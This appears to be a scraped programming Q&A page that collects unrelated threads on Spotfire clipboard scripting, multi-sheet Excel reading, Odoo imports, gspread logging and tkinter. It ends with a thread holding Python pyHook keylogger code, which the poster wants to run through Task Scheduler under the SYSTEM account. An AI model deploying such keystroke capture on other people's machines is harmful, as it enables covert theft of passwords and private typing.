I'd like to create a Spotfire button action control that does the following
Select all rows in a table visualization
Send the selected rows to the clipboard
First step was handled pretty easily (borrowed from here). For the second step, I was unsuccessful in my initial attempts to send to clipboard with script (e.g. as suggested here). I was partially successful in a followup attempt by sending ctrl-c programatically to spotfire (see spotfired.blogspot.co.id/2014/04/pressing-keys-programatically.html).
Here's the [mostly] functioning code:
from Spotfire.Dxp.Application.Visuals import VisualContent
from Spotfire.Dxp.Data import IndexSet
from Spotfire.Dxp.Data import RowSelection
#Get table reference
vc = vis.As[VisualContent]()
dataTable = vc.Data.DataTableReference
#Set marking
marking=vc.Data.MarkingReference
#Setup rows to select from rows to include
rowCount=dataTable.RowCount
rowsToSelect = IndexSet(rowCount, True)
#Set marking
marking.SetSelection(RowSelection(rowsToSelect), dataTable)
#Script to send keystroke to Spotfire
import clr
clr.AddReference("System.Windows.Forms")
from System.Windows.Forms import SendKeys, Control, Keys
#Send keystroke for CTRL-C Copy-to-clipboard
SendKeys.Send("^c") #Ctrl+C
The code works as expected, except that I have to hit the button twice for the ctrl-c part of the script to work (i.e. hitting once results in marking all rows in the table visualization).
Another issue that I seemed to have resolved is that the originally suggested syntax to send the ctrl-c keystroke command was SendKeys.Send("(^+C)"). However, this didn't work, so I rewrote as SendKeys.Send("^c"), which does work, except only after I hit the button twice.
Any thoughts on how I could fix the issue of having hit the action control button twice?
A workaround could be to avoid sending keystrokes with script and revisit my first attempt code the copy-to-clipboard functionality, but my Ironpython skills are a limiting factor here.
Using the same post as reference I used this code to use the windows clipboard
tempFolder = Path.GetTempPath()
tempFilename = Path.GetTempFileName()
tp = mytable.As[TablePlot]()
writer = StreamWriter(tempFilename)
tp.ExportText(writer)
f = open(tempFilename)
html=""
for line in f:
html += "\t".join(line.split("\t")).strip()
html += "\n"
f.close()
import clr
clr.AddReference('System.Windows.Forms')
from System.Windows.Forms import Clipboard
Clipboard.SetText(html)
Thanks, sayTibco, code working for me, now. See below for updated version. Still curious to know how to better utilize SendKeys.Send(), but will make that the subject of a separate post after I have some time to experiment.
from Spotfire.Dxp.Application.Visuals import VisualContent, TablePlot
from Spotfire.Dxp.Data import IndexSet
from Spotfire.Dxp.Data import RowSelection
#get table reference
vc = mytable.As[VisualContent]()
dataTable = vc.Data.DataTableReference
#set marking
marking=vc.Data.MarkingReference
#setup rows to select from rows to include
rowCount=dataTable.RowCount
rowsToSelect = IndexSet(rowCount, True)
#Set marking
marking.SetSelection(RowSelection(rowsToSelect), dataTable)
#Copy marked records to Clipboard
import clr
import sys
clr.AddReference('System.Data')
import System
from System.IO import Path, StreamWriter
from System.Text import StringBuilder
#Temp file for storing the table data
tempFolder = Path.GetTempPath()
tempFilename = Path.GetTempFileName()
#Export TablePlot data to the temp file
tp = mytable.As[TablePlot]()
writer = StreamWriter(tempFilename)
tp.ExportText(writer)
f = open(tempFilename)
#Format table
html=""
for line in f:
html += "\t".join(line.split("\t")).strip()
html += "\n"
f.close()
#Paste to system Clipboard
clr.AddReference('System.Windows.Forms')
from System.Windows.Forms import Clipboard
Clipboard.SetText(html)
Related
import pandas as pd
from xlsx2csv import Xlsx2csv
from io import StringIO
def read_excel(path: str, sheet_name: str) -> pd.DataFrame:
buffer = StringIO() #to read and
Xlsx2csv(path, outputencoding="utf-8", sheet_name=sheet_name).convert(buffer)
buffer.seek(0)
df = pd.read_csv(buffer)
return df
how can i make this script suitable for converting excel files with more than one sheet inside? It works only for xlsx file with one sheet at the moment...
Do you really need to use xlsx2csv module? If not, you could try this with Pandas.
import pandas as pd
for sheet in ['Sheet1', 'Sheet2']:
df = pd.read_excel('sample.xlsx', sheetname=sheet)
In the case of importing or exporting large amount of data (like 5000 records) from odoo, It show connection lost and trying to reconnect messages. So is there any way to deal with it while working with large amount of records ?
I have same issue in odoo 12 when I tried to import translation. I did some hard troubleshooting, I disabled nginx that I configured with self signed SSL.
In my case, import records from MSSQL.
Use transient model and pyodbc
import pyodbc
class Import(models.TransientModel):
#api.multi
def insert_records(self):
try:
cnxn = pyodbc.connect(
'DRIVER={SQL Server}; SERVER=server_address; DATABASE=db_name; UID=uid_name; PWD=pass_word')
cursor = cnxn.cursor()
cursor.execute("SELECT * FROM MSSQL_table")
rows = cursor.fetchall() # or cursor.fetchmany(5000)
pg_table = self.env["pgSql_table"].search([])
for row in rows:
pg_table.create({
"pg_colume_name1": row.SQL_colume_name1, ...
})
except Exception as e:
pass
return True
<button string="import" type="object" name="insert_records" confirm="confirm?"/>
Click button to run insert method,and use pyCharm to set break-points while running.
Fetchmany(number) allow you to test few records
I'm trying to write sensor data to a google sheet. I was able to write to this same sheet a year or so ago but I am active on this project again and can't get it to work. I believe the Oauth has changed and I've updated my code for that change.
In the below code, I get no errors, however no data in entered in the GoogleSheet. Also, If I look at GoogleSheets, the "last opened" date does not reflect the time my program would/should be writing to that google sheet.
I've tried numerous variations and I'm just stuck. Any suggestions would be appreciated.
#!/usr/bin/python3
#-- developed with Python 3.4.2
# External Resources
import time
import sys
import json
import gspread
from oauth2client.service_account import ServiceAccountCredentials
import traceback
# Initialize gspread
scope = ['https://spreadsheets.google.com/feeds']
credentials = ServiceAccountCredentials.from_json_keyfile_name('MyGoogleCode.json',scope)
client = gspread.authorize(credentials)
# Start loop ________________________________________________________________
samplecount = 1
while True:
data_time = (time.strftime("%Y-%m-%d %H:%M:%S"))
row = ([samplecount,data_time])
# Append to Google sheet_
try:
if credentials is None or credentials.invalid:
credentials.refresh(httplib2.Http())
GoogleDataFile = client.open('DataLogger')
#wks = GoogleDataFile.get_worksheet(1)
wks = GoogleDataFile.get_worksheet(1)
wks.append_row([samplecount,data_time])
print("worksheets", GoogleDataFile.worksheets()) #prints ID for both sheets
except Exception as e:
traceback.print_exc()
print ("samplecount ", samplecount, row)
samplecount += 1
time.sleep(5)
I found my issue. I've changed 3 things to get gspread working:
Downloaded a newly created json file (probably did not need this step)
With the target worksheet open in chrome, I "shared" it with the email address found in the JSON file.
In the google developers console, I enabled "Drive API"
However, the code in the original post will not refresh the token. It will stop working after 60 minutes.
The code that works (as of July 2017) is below.
The code writes to a google sheet named "Datalogger"
It writes to the sheet shown as Sheet2 in the google view.
The only unique information is the name of the JSON file
Hope this helps others.
Jon
#!/usr/bin/python3
# -- developed with Python 3.4.2
#
# External Resources __________________________________________________________
import time
import json
import gspread
from oauth2client.service_account import ServiceAccountCredentials
import traceback
# Initialize gspread credentials
scope = ['https://spreadsheets.google.com/feeds']
credentials = ServiceAccountCredentials.from_json_keyfile_name('MyjsonFile.json',scope)
headers = gspread.httpsession.HTTPSession(headers={'Connection': 'Keep-Alive'})
client = gspread.Client(auth=credentials, http_session=headers)
client.login()
workbook = client.open("DataLogger")
wksheet = workbook.get_worksheet(1)
# Start loop ________________________________________________________________
samplecount = 1
while True:
data_time = (time.strftime("%Y-%m-%d %H:%M:%S"))
row_data = [samplecount,data_time]
if credentials.access_token_expired:
client.login()
wksheet.append_row(row_data)
print("Number of rows in out worksheet ",wksheet.row_count)
print ("samplecount ", samplecount, row_data)
print()
samplecount += 1
time.sleep(16*60)
I'm really puzzled by this, but the answer is probably quite simple and just can't see it:
I have a series of python modules that work fine from within the python interpreter, but nothing happens when running from a GUI situation. I've tried creating a .desktop file, adding shebangs, changing permissions to 777 and renaming to .pyw for all the modules. A single test module works fine on its own, so I know that it's not a typo error.
If I click the main module .pyw file and click 'Run' from the system dialogue nothing happens at all. Similarly the .py file (and the .desktop via menu)... nothing. Here is the start of my code:#
#!/usr/bin/python3
import tkinter as tk, imp, sys
root = tk.Tk()
msg = tk.messagebox
sdg = tk.simpledialog
import capitaliser_cfg as cfg, fileio as io
imp.reload(cfg) ; imp.reload(io)
### GO AND GET COUNTY LIST ####
# Nb: attach to config for simplicity
cfg.counties = io.getfilelist("counties.txt", "London")
if not type(cfg.counties)==list:
k = msg.showerror(cfg.version, cfg.counties)
root.destroy()
root.mainloop()
### GO AND GET DICTIONARY ####
cfg.tempdict = [[],[],[]]
cfg.spelldict = io.getdictionary("addressdict.txt","roda","Road")
if not type(cfg.spelldict)==dict:
k = msg.showerror(cfg.version, cfg.spelldict)
root.destroy()
root.mainloop()
import thinbutton as tb, labelradio as lr, fieldblock as fb, bigbutton as bb
import textblock as tx, padding as pd, widget_tools as wt
import capitaliser_mth as mth
import capitaliser_bnd as bnd
imp.reload(tb) ; imp.reload(lr) ; imp.reload(fb) ; imp.reload(bb)
imp.reload(tx) ; imp.reload(pd) ; imp.reload(wt) ;
imp.reload(mth)
imp.reload(bnd)
If I put k = msg.showerror("xxxx","yyyy") after the line sdg = tk.simpledialog, still nothing happens which leads me to believe that tkinter is not loading for some reason.
Any ideas anyone ?
For Python 2 try:
import tkMessageBox
import tkSimpleDialog
msg = tkMessageBox
sdg = tkSimpleDialog
or simpler:
import tkMessageBox as msg
import tkSimpleDialog as sdk
For Python 3 try:
from tkinter import messagebox
from tkinter import simpledialog
msg = messagebox
sdg = simpledialog
or simpler:
from tkinter import messagebox as msg
from tkinter import simpledialog as sdg
Using Windows 7, Python 2.7 I wrote and compiled the code below (with pyinstaller2-0) and it works fine if I start it by right clicking and choose run as admin, but when I start it through the task scheduler as the system user, it does not log any keys (after the 10 second wait, it just creates an empty output file). I'm thinking maybe because I'm running it as a different account, its not hooking the "correct keyboard"?
import threading
import pyHook
import pythoncom
import time
def OnKeyboardEvent(event):
global keylog
keylog.append(chr(event.Ascii))
return
class thekeylogger ( threading.Thread ):
def run ( self ):
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
return
keylog = []
thekeylogger().start()
time.sleep(10)
keys = "".join(keylog)
output_file = open('c:\\project\\test.txt', 'w')
output_file.write(keys)
output_file.close()